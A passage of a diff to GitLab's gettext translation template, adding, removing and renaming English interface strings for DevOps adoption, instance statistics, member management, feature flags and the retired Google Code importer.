+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11758,9 +12113,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11893,6 +12242,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13489,6 +13835,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13917,9 +14260,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14280,9 +14620,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15583,6 +15977,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,16 +16552,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16662,6 +17062,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18400,6 +18812,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
